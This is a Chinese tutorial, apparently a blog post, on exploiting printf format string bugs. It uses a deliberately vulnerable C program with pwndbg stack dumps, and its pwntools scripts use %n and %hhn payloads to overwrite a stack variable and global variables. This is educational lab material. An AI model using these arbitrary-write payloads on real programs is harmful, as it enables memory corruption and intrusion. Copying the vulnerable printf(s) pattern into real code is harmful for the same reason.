這里仍然分為兩部分,一部分為覆蓋棧上的變量,第二部分為覆蓋指定地址的變量。

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

makefile在對(duì)應(yīng)的文件夾中。而無(wú)論是覆蓋哪個(gè)地址的變量,基本上都是構(gòu)造類(lèi)似如下的payload

...[overwrite addr]...%[overwrite offset]$n

其中...表示我們的填充內(nèi)容,overwrite addr表示我們所要覆蓋的地址,overwrite offset地址表示我們所要覆蓋的地址存儲(chǔ)的位置為輸出函數(shù)的格式化字符串的第幾個(gè)參數(shù)。所以一般來(lái)說(shuō),也是如下步驟
(1)確定覆蓋地址 (2)確定相對(duì)偏移 (3)進(jìn)行覆蓋

覆蓋棧內(nèi)存

確定覆蓋地址
首先,需要確定變量c的地址,這里故意輸出了c變量的地址。
確定相對(duì)偏移
其次,確定存儲(chǔ)格式化字符串的printf將要輸出的第幾個(gè)參數(shù)()。通過(guò)之前繡樓棧變量數(shù)值的方法來(lái)進(jìn)行操作。通過(guò)調(diào)試

? 0xf7e2c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484dd (main+55) ?— add    esp, 0x10
        arg[1]: 0x80485f0 ?— and    eax, 0x25000a70 /* '%p\n' */
        arg[2]: 0xffffd04c ?— 0x315
        arg[3]: 0xf7fd0410 —? 0x804828d ?— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435 <printf+5>     add    eax, 0x186bcb
   0xf7e2c43a <printf+10>    sub    esp, 0xc
   0xf7e2c43d <printf+13>    mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443 <printf+19>    lea    edx, [esp + 0x14]
   0xf7e2c447 <printf+23>    sub    esp, 4
   0xf7e2c44a <printf+26>    push   edx
   0xf7e2c44b <printf+27>    push   dword ptr [esp + 0x18]
   0xf7e2c44f <printf+31>    push   dword ptr [eax]
   0xf7e2c451 <printf+33>    call   vfprintf <vfprintf>
 
   0xf7e2c456 <printf+38>    add    esp, 0x1c
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffffcfcc —? 0x80484dd (main+55) ?— add    esp, 0x10
01:0004│      0xffffcfd0 —? 0x80485f0 ?— and    eax, 0x25000a70 /* '%p\n' */
02:0008│      0xffffcfd4 —? 0xffffd04c ?— 0x315
03:000c│      0xffffcfd8 —? 0xf7fd0410 —? 0x804828d ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfdc —? 0x80484bd (main+23) ?— add    ebx, 0x1b43
05:0014│      0xffffcfe0 ?— 0x0
06:0018│      0xffffcfe4 ?— 0x1
07:001c│      0xffffcfe8 —? 0xf7ffd940 ?— 0x0

在0xffffd04c處存儲(chǔ)著變量c的數(shù)值。
繼而,確定格式化字符串'%d%d'的地址0xffffcfe8相對(duì)于printf函數(shù)的格式化字符串參數(shù)0xffffcfd0的偏移為0x18。

pwndbg> stack 30
00:0000│ esp  0xffffcfcc —? 0x8048502 (main+92) ?— add    esp, 0x10
01:0004│      0xffffcfd0 —? 0xffffcfe8 ?— '%d%d'
... ↓
03:000c│      0xffffcfd8 —? 0xf7fd0410 —? 0x804828d ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfdc —? 0x80484bd (main+23) ?— add    ebx, 0x1b43
05:0014│      0xffffcfe0 ?— 0x0
06:0018│      0xffffcfe4 ?— 0x1
07:001c│ eax  0xffffcfe8 ?— '%d%d'
08:0020│      0xffffcfec ?— 0x0

即格式化字符串相當(dāng)于printf函數(shù)的第7個(gè)參數(shù),相當(dāng)于格式化字符串的第六個(gè)參數(shù)。
進(jìn)行覆蓋
這樣,第6個(gè)參數(shù)處的值就是存儲(chǔ)變量c的地址,我們便可以利用%n的特征來(lái)修改c的值。payload如下

[addr of c]%012d%6$n

addr of c的長(zhǎng)度為4,故而我們得再輸入12個(gè)字符才可以達(dá)到16個(gè)字符,以便于修改c的值為16.
腳本如下:

def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print hex(c_addr)
    payload = p32(c_addr) + '%012d' + '%6$n'
    print payload
    #gdb.attach(sh)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
forc()

結(jié)果如下:

[+] Starting local process './overflow': pid 4699
0xfff8e73c
<???%012d%6$n
[*] Process './overflow' stopped with exit code 0 (pid 4699)
<???-00000465192modified c.

ps:我在調(diào)試這個(gè)的時(shí)候,運(yùn)行之后會(huì)直接斷在第二個(gè)printf的位置,在執(zhí)行完了這個(gè)printf之后呢,果然將c改為了16.

覆蓋任意地址內(nèi)存

覆蓋小數(shù)字
如何修改data段的變量為一個(gè)較小的數(shù)字,比如,小于機(jī)器字長(zhǎng)的數(shù)字。
如果還是將要覆蓋的地址放在最前面,那么將直接占用機(jī)器字長(zhǎng)個(gè)(4或8)字節(jié).
顯然,無(wú)論之后如何輸出,都只會(huì)比4大。
有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒(méi)有,我們當(dāng)時(shí)只是為了尋找偏移,所以才把tag放在字符串的最前面,如果我們把tag放在種間,其實(shí)也是無(wú)妨的。
類(lèi)似的,將地址放在種間,只要能夠找到對(duì)應(yīng)的偏移其照樣也可以得到對(duì)應(yīng)的數(shù)值。前面說(shuō)了格式化字符串的為第6個(gè)參數(shù),由于想要把2寫(xiě)到對(duì)應(yīng)的地址處,因此格式化字符串的前面的字節(jié)必須是

aa%k$nxx

此時(shí)對(duì)應(yīng)的存儲(chǔ)的格式化字符串已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們?cè)偬砑觾蓚€(gè)字符aa,那么其實(shí)aa%k就是第6個(gè)參數(shù),$nxx是第7個(gè)參數(shù),后面如果跟上要覆蓋的地址,那就是第8個(gè)參數(shù),所以將k設(shè)置為8,就可以覆蓋了。
利用ida可以得到a的地址為0x0804A024(由于a、b是已初始化的全局變量,因此不在堆棧中)。

.data:0804A024 a               dd 7Bh                  ; DATA XREF: main:loc_8048521↑r
.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048540↑r

故而可以構(gòu)造如下的利用代碼

def fora():
    sh=process('./overflow')
    a_addr=0x0804A024
    payload='aa%8$naa'+p32(a_addr)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

對(duì)應(yīng)的結(jié)果如下:

[+] Starting local process './overflow': pid 6794
0xffdfeb8c

[*] Switching to interactive mode
aaaa$\xa0\x04modified a for a small number.

其實(shí),這里我們需要掌握的小技巧就是,我們沒(méi)有必要必須把地址放在最前面,放在哪里都可以,只要我們可以找到其對(duì)應(yīng)的偏移即可。

覆蓋大數(shù)字
可以選擇直接一次性輸出大數(shù)字個(gè)字節(jié)來(lái)進(jìn)行覆蓋,但是這樣基本也不會(huì)成功,因?yàn)樘L(zhǎng)了。而且即使成功,一次性等待的時(shí)間也太長(zhǎng)了,那么有沒(méi)有什么比較好的方式呢?
現(xiàn)了解以下變量再內(nèi)存中的存儲(chǔ)格式。首先,所有的變量在內(nèi)存中都是以字節(jié)進(jìn)行存儲(chǔ)的。此外,在x86和x64的體系結(jié)構(gòu)中,變量的存儲(chǔ)格式為以小端存儲(chǔ),即最低有效位存儲(chǔ)在低地址。舉個(gè)例子,0x12345678 在內(nèi)存中由低地址到高地址依次為 \ x78\x56\x34\x12。
再者,格式化字符串里有這惡兩個(gè)標(biāo)志:

hh 對(duì)于整數(shù)類(lèi)型,printf期待一個(gè)從char提升的int尺寸的整型參數(shù)。
h  對(duì)于整數(shù)類(lèi)型,printf期待一個(gè)從short提升的int尺寸的整型參數(shù)。

所以說(shuō),我們可以利用%hhn向某個(gè)地址寫(xiě)入單字節(jié),利用%hn向某個(gè)地址寫(xiě)入雙字節(jié)。這里,以單字節(jié)為例。
首先,要確定的是要覆蓋的地址為多少,利用ida看以下,可以發(fā)現(xiàn)地址為0x0804A028。

.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048510?r

即我們希望將按照如下方式進(jìn)行覆蓋,前面為覆蓋地址,后面為覆蓋內(nèi)容。

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我們的字符串的偏移為6,所有可以確定payload基本如下:

p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

可以依次進(jìn)行計(jì)算,這里給出一個(gè)基本的構(gòu)造,如下:

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每個(gè)參數(shù)的含義基本如下
offset 表示要覆蓋的地址最初的偏移
size 表示機(jī)器字長(zhǎng)
addr 表示將要覆蓋的地址
target 表示我們要覆蓋為的目的變量值
相應(yīng)的exploit如下

def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

結(jié)果如下:

[+] Starting local process './overflow': pid 7656
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overflow' stopped with exit code 0 (pid 7656)
0xffdfe6fc
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04                                                                                                       \x98                                                                                                                                                                                                                             \x10                                                                                                                                                                                                                            \xbd                                                                                                                                                                                                                             \x00odified b for a big number!
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容